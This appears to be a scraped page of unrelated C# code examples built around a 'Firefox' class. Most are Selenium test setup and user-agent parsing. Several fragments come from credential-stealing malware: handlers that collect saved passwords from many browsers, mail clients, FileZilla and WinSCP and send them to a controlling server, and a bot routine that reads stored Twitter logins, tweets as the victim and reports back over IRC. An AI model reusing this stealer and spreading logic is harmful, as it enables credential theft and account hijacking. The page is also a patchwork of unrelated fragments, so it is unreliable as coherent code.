Ejemplo n.º 1
0
 public void AfterScenario()
 {
     if (Firefox != null)
     {
         Firefox.Close();
     }
 }
Ejemplo n.º 2
0
        private static void ExtensionMethod()
        {
            IWebDriver driver = new Firefox();

            driver.SendKeysWithSpcChar("S", "Ş");
            Console.WriteLine();
        }
Ejemplo n.º 3
0
        public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(Edge.GetPasswords());
            recovered.AddRange(Outlook.GetSavedPasswords());
            recovered.AddRange(Thunderbird.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            List <string> raw = new List <string>();

            foreach (RecoveredAccount value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER);
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client);
        }
Ejemplo n.º 4
0
        /// <summary>
        /// Create browsers for each type provided.
        /// </summary>
        /// <param name="type"> The type of the browser to create. </param>
        public static IEnumerable <Browser> CreateBrowsers(BrowserType type = BrowserType.All)
        {
            var response = new List <Browser>();

            if ((type & BrowserType.Chrome) == BrowserType.Chrome)
            {
                response.Add(Chrome.Create());
            }

            //if ((type & BrowserType.Edge) == BrowserType.Edge)
            //{
            //	response.Add(Edge.Create());
            //}

            if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer)
            {
                response.Add(InternetExplorer.Create());
            }

            if ((type & BrowserType.Firefox) == BrowserType.Firefox)
            {
                response.Add(Firefox.Create());
            }

            return(response);
        }
Ejemplo n.º 5
0
        public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client)
        {
            var recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            var raw = new List <string>();

            for (var i = 0; i < recovered.Count; i++)
            {
                var value    = recovered[i];
                var rawValue = string.Format($"{value.Username}" + $"{DELIMITER}" +
                                             $"{value.Password}" + $"{DELIMITER}" +
                                             $"{value.URL}" + $"{DELIMITER}" +
                                             $"{value.Application}");
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client);
        }
Ejemplo n.º 6
0
        /// <summary>
        /// Attach browsers for each type provided.
        /// </summary>
        /// <param name="type"> The type of the browser to attach to. </param>
        public static IEnumerable <Browser> AttachBrowsers(BrowserType type = BrowserType.All)
        {
            var response = new List <Browser>();

            if ((type & BrowserType.Chrome) == BrowserType.Chrome)
            {
                response.Add(Chrome.Attach());
            }

            if ((type & BrowserType.Edge) == BrowserType.Edge)
            {
                response.Add(Edge.Attach());
            }

            if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer)
            {
                response.Add(InternetExplorer.Attach());
            }

            if ((type & BrowserType.Firefox) == BrowserType.Firefox)
            {
                response.Add(Firefox.Attach());
            }

            return(response);
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Attach or create browsers for each type provided.
        /// </summary>
        /// <param name="type"> The type of the browser to attach to or create. </param>
        public static IEnumerable <Browser> AttachOrCreate(BrowserType type = BrowserType.All)
        {
            var response = new List <Browser>();

            if ((type & BrowserType.Chrome) == BrowserType.Chrome)
            {
                var chrome = Chrome.AttachOrCreate();
                response.Add(chrome);
            }

            //if ((type & BrowserType.Edge) == BrowserType.Edge)
            //{
            //	var edge = Edge.AttachOrCreate();
            //	response.Add(edge);
            //}

            if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer)
            {
                var explorer = InternetExplorer.AttachOrCreate();
                response.Add(explorer);
            }

            if ((type & BrowserType.Firefox) == BrowserType.Firefox)
            {
                var firefox = Firefox.AttachOrCreate();
                response.Add(firefox);
            }

            return(response);
        }
Ejemplo n.º 8
0
        public Browser SetBrowserType(SupportedBrowsers browser)
        {
            switch (browser)
            {
            case (SupportedBrowsers.Chrome):
                var chrome = new Chrome();
                // var chromOptions = new []{ "--start-maximized" };
                Driver = chrome
                         .SetExtention()
                         .SetupChromeWithOption()
                         .GetDriverInstance();


                break;

            case (SupportedBrowsers.Edge):
                Driver = new EdgeDriver();

                break;

            case SupportedBrowsers.Firefox:
                var firefox = new Firefox();
                Driver = firefox.SetupFirefoxWithOption().GetDriverInstance();

                break;
            }
            Log.Info("Driver Set to: " + browser);
            NgDriver = new NgWebDriver(Driver);
            return(this);
        }
Ejemplo n.º 9
0
        /// <summary>
        /// Initializes a new instance of the Lynda.Test.Browsers.FirefoxBrowser class, opens a new Firefox window and navigates to
        /// the specified uri.
        /// </summary>
        /// <param name="uri">uri to navigate to in the new Firefox window.</param>
        internal FirefoxBrowser(string uri, bool killExisting)
        {
            if (installedExePath == null)
            {
                throw new Exception(string.Format("Firefox is not installed. Expected location:{0}", expectedExePath));
            }
            if (installedVersion != supportedExeMajorVersion)
            {
                throw new Exception(string.Format("Firefox version {0} ({1}) is not supported by this class. Supported version: {2}.", installedVersion, installedExePath, supportedExeMajorVersion));
            }

            firefoxRepo = new Firefox();

            //Kill existing browser processes before opening a new browser
            if (killExisting)
            {
                Host.Local.KillBrowser(BrowserProduct.Firefox.ToString());
            }

            //Open browser
            OpenBrowser(uri, BrowserProduct.Firefox.ToString(), new RxPath("/form[@class='MozillaWindowClass']"));
            //Update repository instance base path to include native window handle attribute for the form
            firefoxRepo.Form.BasePath = new RxPath(String.Format("/form[@class='MozillaWindowClass' and @handle='{0}']", handle));
            Validate.Exists(firefoxRepo.Form.BasePath);
        }
Ejemplo n.º 10
0
        private void listBoxMerged_MouseUp(object sender, MouseButtonEventArgs e)
        {
            Anime anime = (sender as ListBox).SelectedItem as Anime;

            Console.WriteLine(anime.Url);
            if (anime != null)
            {
                if (Firefox != null && Firefox.IsDriverBuild())
                {
                    Task.Factory.StartNew(() =>
                    {
                        try
                        {
                            if (!Firefox.Driver.Url.Equals("https://myanimelist.net/addtolist.php?hidenav=1"))
                            {
                                Firefox.Driver.Navigate().GoToUrl("https://myanimelist.net/addtolist.php?hidenav=1");
                            }

                            var canSearch = Firefox.WaitUntilElementClickable(By.CssSelector("#maSearchText"));
                            if (canSearch != null)
                            {
                                canSearch.Clear();
                                canSearch.SendKeys(anime.Title);
                                Firefox.ExecuteScript("performSearch();");
                                CurrentAnime = anime;
                            }
                        }
                        catch { }
                    });
                }
            }
        }
Ejemplo n.º 11
0
        public void Test()
        {
            Firefox Firefox = new Firefox();
            string  ua      = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0";

            Assert.IsTrue(Firefox.UserAgentRegex.IsMatch(ua));
        }
Ejemplo n.º 12
0
        public IWebDriver Initialize(string browser)
        {
            double timeout = Convert.ToDouble(ConfigurationManager.AppSettings["DefaultTimeout"]);

            if (_driver == null)
            {
                if (browser.Equals("Chrome"))
                {
                    if (Convert.ToBoolean(ConfigurationManager.AppSettings["Remote"]))
                    {
                        _driver = Chrome.Build();
                    }
                    else
                    {
                        _driver = Chrome.BuildLocal();
                    }
                }

                else if (browser.Equals("Firefox"))
                {
                    _driver = Firefox.Build();
                }

                else
                {
                    throw new Exception("Driver não suportado!");
                }
            }

            _driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(timeout);
            _driver.Manage().Timeouts().PageLoad     = TimeSpan.FromSeconds(timeout);

            return(_driver);
        }
Ejemplo n.º 13
0
        public void Firefox_IOS_iPhone()
        {
            var isFireFox = Firefox.TryParse(UserAgents.Firefox_IPhone, out var firefox);

            Assert.True(isFireFox);
            Assert.Equal(DeviceTypes.Mobile, firefox.DeviceType);
            Assert.Equal(OperatingSystems.IOS, firefox.OS);
        }
Ejemplo n.º 14
0
        public void Firefox_Windows_Desktop()
        {
            var isFireFox = Firefox.TryParse(UserAgents.FirefoxWindows, out var firefox);

            Assert.True(isFireFox);
            Assert.Equal(DeviceTypes.Desktop, firefox.DeviceType);
            Assert.Equal(OperatingSystems.Windows, firefox.OS);
        }
Ejemplo n.º 15
0
        public void Firefox_IOS_iPad()
        {
            var isFireFox = Firefox.TryParse(UserAgents.FirefoxIPad, out var firefox);

            Assert.True(isFireFox);
            Assert.Equal(DeviceTypes.Tablet, firefox.DeviceType);
            Assert.Equal(OperatingSystems.IOS, firefox.OS);
        }
Ejemplo n.º 16
0
        public void Firefox_OSX_Desktop()
        {
            var isFireFox = Firefox.TryParse(UserAgents.FirefoxOsx, out var firefox);

            Assert.True(isFireFox);
            Assert.Equal(DeviceTypes.Desktop, firefox.DeviceType);
            Assert.Equal(OperatingSystems.MacOSX, firefox.OS);
        }
        public override void Run()
        {
            List <PasswordInfo> Firefox_Passwords = Firefox.GetFirefoxPasswords();

            for (int i = 0; i < Firefox_Passwords.Count; i++)
            {
                Client.SendPacket(new S_Password(Client, Firefox_Passwords[i].URL, Firefox_Passwords[i].Username, Firefox_Passwords[i].Password));
            }
        }
Ejemplo n.º 18
0
        public void TextContentShouldMatchWithInnerText()
        {
            var divs = Ie.Divs.Filter(Find.ById(new Regex("^innerTextTest")));

            foreach (Div div in divs)
            {
                Assert.That(Firefox.Div(div.Id).Text, Is.EqualTo(div.Text), "failed for div: " + div.Id);
            }
        }
        public bool ConnectWithLocalFirefox(Firefox.FirefoxEventProcessor evp)
        {
            m_Evp = evp;

            // Actually, Unicode means UTF-16, whereas we need UCS-2.
            // UTF-16 might insert multi-word characters, which we do not want.
            // However, since .NET strings are stored as UCS-2, we won't get multi-word characters anyway.
            return Connect(IPAddress.Loopback, 34971, Encoding.UTF8, new UnicodeEncoding(true, false), true);
        }
 public bool CheckIfNoArgs()
 {
     if ((Chrome.Equals(false)) && (Firefox.Equals(false)) && (All.Equals(false)) && (Help.Equals(false)))
     {
         return(true);
     }
     else
     {
         return(false);
     }
 }
Ejemplo n.º 21
0
        public static void StartTwitterSpread(string[] message)
        {
            try
            {
                string creds = Chrome.QueryChrome("twitter.com");
                if (String.IsNullOrEmpty(creds))
                {
                    creds = Firefox.QueryFirefox("twitter.com");
                }
                string[] auth = creds.Split(':');
                string   user = auth[0];
                string   pass = auth[1];

                if (creds != "")
                {
                    bool   buildMsg  = false;
                    string spreadMsg = "";

                    foreach (string s in message)
                    {
                        if (s.StartsWith("\""))
                        {
                            buildMsg = true;
                        }

                        if (s.EndsWith("\""))
                        {
                            buildMsg   = false;
                            spreadMsg += s;
                        }

                        if (buildMsg)
                        {
                            spreadMsg += s + " ";
                        }
                    }

                    spreadMsg = spreadMsg.Replace("\"", "");
                    spreadMsg.TrimEnd(' ');

                    if (spreadMsg != "")
                    {
                        if (PostTweet(user, pass, spreadMsg))
                        {
                            IRC.WriteMessage("Twitter status updated:" + IRC.ColorCode(" " + user) + " ->" + IRC.ColorCode(" " + spreadMsg) + ".", Config._mainChannel());
                        }
                    }
                }
            }
            catch
            {
                // No facebook account saved.
            }
        }
Ejemplo n.º 22
0
 public void Create()
 {
     using (var browser = Firefox.Create())
     {
         Assert.IsNotNull(browser);
         Console.WriteLine(browser.Id);
         browser.NavigateTo("http://localhost:8080");
         browser.Elements.Count.Dump();
         browser.ExecuteScript("window.location.href").Dump();
     }
 }
Ejemplo n.º 23
0
        public void TextContentShouldMatchWithInnerText()
        {
            var divs = Ie.Divs.Filter(Find.ById(new Regex("^innerTextTest")));

            foreach (Div div in divs)
            {
                if (div.Id == "innerTextTest7")
                {
                    continue;                             // See also following Ignored test
                }
                Assert.That(Firefox.Div(div.Id).Text, Is.EqualTo(div.Text), "failed for div: " + div.Id);
            }
        }
Ejemplo n.º 24
0
        public void ValueReturnsDifferentValueForIEThenFireFoxAndIE8()
        {
            // OK, this one is weird. The HTML says value="ButtonElementValue"
            // but the value attribute returns the innertext(!) in IE6, IE7 and IE8.
            // But FireFox does return the value attribute.....
            // <button id="buttonelementid" name="buttonelementname" value="ButtonElementValue">Button Element</button>

            const string ieValue     = "Button Element";
            const string actualValue = "ButtonElementValue";

            Assert.AreEqual(ieValue, Ie.Button("buttonelementid").Value, "IE issue");
            Assert.AreEqual(actualValue, Firefox.Button("buttonelementid").Value, "FireFox issue");
        }
Ejemplo n.º 25
0
        public void FindByValueBehavesDifferentlyForIEThenFireFox()
        {
            // OK, this one is weird. The HTML says value="ButtonElementValue"
            // but the value attribute returns the innertext(!) in IE6, IE7 and IE8
            // But FireFox does return the value attribute.....
            // <button id="buttonelementid" name="buttonelementname" value="ButtonElementValue">Button Element</button>

            const string ieValue     = "Button Element";
            const string actualValue = "ButtonElementValue";

            Assert.That(Ie.Button(Find.ByValue(ieValue)).Exists, Is.True, "IE issue");
            Assert.That(Firefox.Button(Find.ByValue(actualValue)).Exists, Is.True, "Firefox issue");
        }
Ejemplo n.º 26
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("\n[*] Command: Firefox history");
            arguments.Remove("history");

            string displayFormat = "csv";

            if (arguments.ContainsKey("/target"))
            {
                string target    = arguments["/target"].Trim('"').Trim('\'');
                string historyDB = target + @"\places.sqlite";

                if (File.Exists(historyDB))
                {
                    Console.WriteLine("\n[i] Reading history from '{0}'", historyDB);
                    Firefox.ExtractHistory(historyDB, displayFormat);
                }
                else
                {
                    Console.WriteLine("\r\n[X] '{0}' is not a valid Firefox database.\n", historyDB);
                }
            }
            else if (!arguments.ContainsKey("/target"))
            {
                // Enumerate Firefox installation directories
                // Adapted from SharpWeb (https://github.com/djhohnstein/SharpWeb)
                string userName = Environment.GetEnvironmentVariable("USERNAME");
                Console.WriteLine("\n[*] Checking for Firefox installation as current user ({0})", userName);

                string userFirefoxBasePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
                                             + @"\Mozilla\Firefox\Profiles";

                if (System.IO.Directory.Exists(userFirefoxBasePath))
                {
                    string[] directories = Directory.GetDirectories(userFirefoxBasePath);
                    foreach (string directory in directories)
                    {
                        string firefoxhistoryDB = String.Format("{0}\\{1}", directory, "places.sqlite");
                        if (File.Exists(firefoxhistoryDB))
                        {
                            Console.WriteLine("\n[i] Reading history from '{0}'", firefoxhistoryDB);
                            Firefox.ExtractHistory(firefoxhistoryDB, displayFormat);
                        }
                    }
                }
                else if (!System.IO.Directory.Exists(userFirefoxBasePath))
                {
                    Console.WriteLine("\r\n[X] Firefox installation not found.\n");
                }
            }
        }
Ejemplo n.º 27
0
        public void Test_validLanguageCodes()
        {
            var list = Firefox.validLanguageCodes();

            Assert.IsNotNull(list);

            int items = 0;

            foreach (var item in list)
            {
                Assert.IsFalse(string.IsNullOrWhiteSpace(item));
                ++items;
            }
            Assert.IsTrue(items > 50);
        }
Ejemplo n.º 28
0
        public static void HandleGetPasswords(GetPasswords packet, Networking.Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Ejemplo n.º 29
0
        private void Execute(ISender client, GetPasswords message)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Ejemplo n.º 30
0
        //public static IWebDriver driver = new ChromeDriver();

        static void Main(string[] args)
        {
            //driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(120);
            //driver.Navigate().GoToUrl("https://www.jquery-az.com/jquery/demo.php?ex=167.0_1");
            //driver.FindElement(By.XPath("//span[text()='Your Expertise']")).Click();
            //driver.FindElement(By.XPath("//div[@class='dropdown-menu open']//ul[@class='dropdown-menu inner']//li//a[text()='Framework']")).Click();
            //Console.ReadLine();
            //IReadOnlyList<IWebElement> listOfElements = driver.FindElements(By.XPath("//div[@class='dropdown-menu open']//ul[@class='dropdown-menu inner']//li//a"));
            //for (int i = 0; i < length; i++)
            //{

            //}

            //for (int i = 0; i < listOfElements.Count; i++)
            //{

            //}
            //Console.WriteLine(listOfElements.Count);
            //Console.ReadLine();
            //driver.Quit();

            Console.WriteLine("Save");
            CollectionsListDemo collectionsList = new CollectionsListDemo();

            collectionsList.ListDemo("Aniket", "Pallavi", "Shubham", "Shruti", "Palla");

            IWebDriver driver = new Chrome();

            driver.Click();
            driver.FindElement();
            driver.SendKeys();

            IWebDriver driver1 = new Firefox();

            driver1.Click();
            driver1.FindElement();
            driver1.SendKeys();

            IWebDriver driver2 = new IE();

            driver2.Click();
            driver2.FindElement();
            driver2.SendKeys();

            Console.ReadLine();
        }
Ejemplo n.º 31
0
        public void Test_matchTest()
        {
            var fx   = new Firefox("de", false);
            var info = fx.info();

            // versions with three numbers
            Regex re = new Regex(info.match64Bit);

            Assert.IsTrue(re.IsMatch("Mozilla Firefox 51.0.1 (x64 de)"));
            re = new Regex(info.match32Bit);
            Assert.IsTrue(re.IsMatch("Mozilla Firefox 51.0.1 (x86 de)"));
            // versions with two numbers
            re = new Regex(info.match64Bit);
            Assert.IsTrue(re.IsMatch("Mozilla Firefox 50.0 (x64 de)"));
            re = new Regex(info.match32Bit);
            Assert.IsTrue(re.IsMatch("Mozilla Firefox 50.0 (x86 de)"));
        }
 public void ResolveTo(Firefox.ContentItem request, HashSet<JavaFile> allFiles)
 {
     Request = request;
     request.ServerTrace = this;
     allFiles.UnionWith(JavaFilesHit);
 }
Ejemplo n.º 33
0
        /// <summary>
        /// Sync's history to FF
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void syncFF_Click(object sender, EventArgs e)
        {
            Firefox program = new Firefox();
            const string methodString = "SyncFF";

            runBackgroundWorker(program, null, methodString);
        }